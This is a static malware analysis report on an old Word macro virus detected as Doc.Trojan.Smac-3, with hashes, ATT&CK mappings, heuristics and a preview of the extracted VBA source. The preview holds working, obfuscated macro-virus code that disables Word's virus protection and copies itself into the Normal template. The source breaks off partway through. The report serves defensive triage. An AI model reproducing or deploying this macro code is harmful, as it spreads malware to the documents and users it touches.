Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 657b2f22e1f5b0b3…

MALICIOUS

Office (OLE)

47.5 KB Created: 1998-09-20 18:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: da27e71d3c52aa45e86d05b05da00095 SHA-1: f39262b55f12b835dcb18073c9b52041a1a00b27 SHA-256: 657b2f22e1f5b0b3e3866daba3e759ffb36e127016db651d2b2a971dd1924df4
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Microsoft Word document containing a VBA macro that executes automatically upon opening (AutoOpen). The macro attempts to install itself into the Normal template and the active document, likely to achieve persistence and spread. The script obfuscates strings and uses a custom function 'Morph' to decode them, which is a common technique for malware to evade detection. The ClamAV detection 'Doc.Trojan.Smac-3' further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Smac-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Smac-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 75830 bytes
SHA-256: dfa4b7aa13e398c2cf204a8c369e9b1f2236d7ed6cd8d261505cc3ccfd75e383
Detection
ClamAV: Doc.Trojan.Smac-3
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const Ofile = "z#Ez{-(((7mam": Const Ifile = "z#E~|wplj7mam": Const Fmac = "z{-((("
Const Smac = "z{Fklw": Const Tool = "Mvvuj": Const Mmac = "Txzkv"
Const Mtemp = "M|tiuxm|j9xw}9X}}4Pwj777": Const Mform = "_vktxm": Const Mstyl = "Jm`u|777"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(I).Name = Morph(Smac, 25) Then GoTo Label_Exit
    If NormalTemplate.VBProject.VBComponents(I).Name = Morph(Fmac, 25) Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(I).Name = Morph(Fmac, 25) Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents(Morph(Fmac, 25)).Export (Morph(Ofile, 25))
Call GeniusFunction
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
Label_Exit:
CommandBars(Morph(Tool, 25)).Controls(Morph(Mmac, 25)).Delete
CommandBars(Morph(Tool, 25)).Controls(Morph(Mtemp, 25)).Delete
CommandBars(Morph(Mform, 25)).Controls(Morph(Mstyl, 25)).Delete
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Function GeniusFunction()
Application.ScreenUpdating = False
Dim decrypt(23)
decrypt(1) = Chr(65) + Chr(116) + Chr(116) + Chr(114) + Chr(105) + Chr(98) + Chr(117) + Chr(116) + Chr(101) + Chr(32) + Chr(86) + Chr(66) + Chr(95) + Chr(78) + Chr(97) + Chr(109) + Chr(101) + Chr(32) + Chr(61) + Chr(32) + Chr(34) + Chr(99) + Chr(98) + Chr(95) + Chr(114) + Chr(117) + Chr(110) + Chr(34)
decrypt(2) = Chr(83) + Chr(117) + Chr(98) + Chr(32) + Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(67) + Chr(108) + Chr(111) + Chr(115) + Chr(101) + Chr(40) + Chr(41)
decrypt(3) = Chr(79) + Chr(110) + Chr(32) + Chr(69) + Chr(114) + Chr(114) + Chr(111) + Chr(114) + Chr(32) + Chr(82) + Chr(101) + Chr(115) + Chr(117) + Chr(109) + Chr(101) + Chr(32) + Chr(78) + Chr(101) + Chr(120) + Chr(116)
decrypt(4) = Chr(73) + Chr(102) + Chr(32) + Chr(68) + Chr(97) + Chr(121) + Chr(40) + Chr(78) + Chr(111) + Chr(119) + Chr(41) + Chr(32) + Chr(61) + Chr(32) + Chr(55) + Chr(32) + Chr(65) + Chr(110) + Chr(100) + Chr(32) + Chr(77) + Chr(111) + Chr(110) + Chr(116) + Chr(104) + Chr(40) + Chr(78) + Chr(111) + Chr(119) + Chr(41) + Chr(32) + Chr(61) + Chr(32) + Chr(57) + Chr(32) + Chr(84) + Chr(104) + Chr(101) + Chr(110) + Chr(32) + Chr(77) + Chr(115) + Chr(103) + Chr(66) + Chr(111) + Chr(120) + Chr(32) + Chr(34) + Chr(67) + Chr(66) + Chr(52) + Chr(49) + Chr(49) + Chr(49) + Chr(32) + Chr(69) + Chr(114) + Chr(114) + Chr(111) + Chr(114) + Chr(33) + Chr(32) + Chr(80) + Chr(114) + Chr(101) + Chr(115) + Chr(115) + Chr(32) + Chr(79) + Chr(75) + Chr(32) + Chr(116) + Chr(111) + Chr(32) + Chr(114) + Chr(101) + Chr(115) + Chr(117) + Chr(109) + Chr(101) + Chr(46) + Chr(34) + Chr(44) + Chr(32) + Chr(118) + Chr(98) + Chr(67) + Chr(114) + Chr(105) + Chr(116) + Chr(105) + Chr(99) + Chr(97) + Chr(108)
decrypt(5) = Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(46) + Chr(68) + Chr(105) + Chr(115) + Chr(112) + Chr(108) + Chr(97) + Chr(121) + Chr(65) + Chr(108) + Chr(101) + Chr(114) + Chr(116) + Chr(115) + Chr(32) + Chr(61) + Chr(32) + Chr(119) + Chr(100) + Chr(65) + Chr(108) + Chr(101) + Chr(114) + Chr(116) + Chr(115) + Chr(78) + Chr(111) + Chr(110) + Chr(101)
decrypt(6) = Chr(70) + Chr(111) + Chr(114) + Chr(32) + Chr(73) + Chr(32) + Chr(61) + Chr(32)
... (truncated)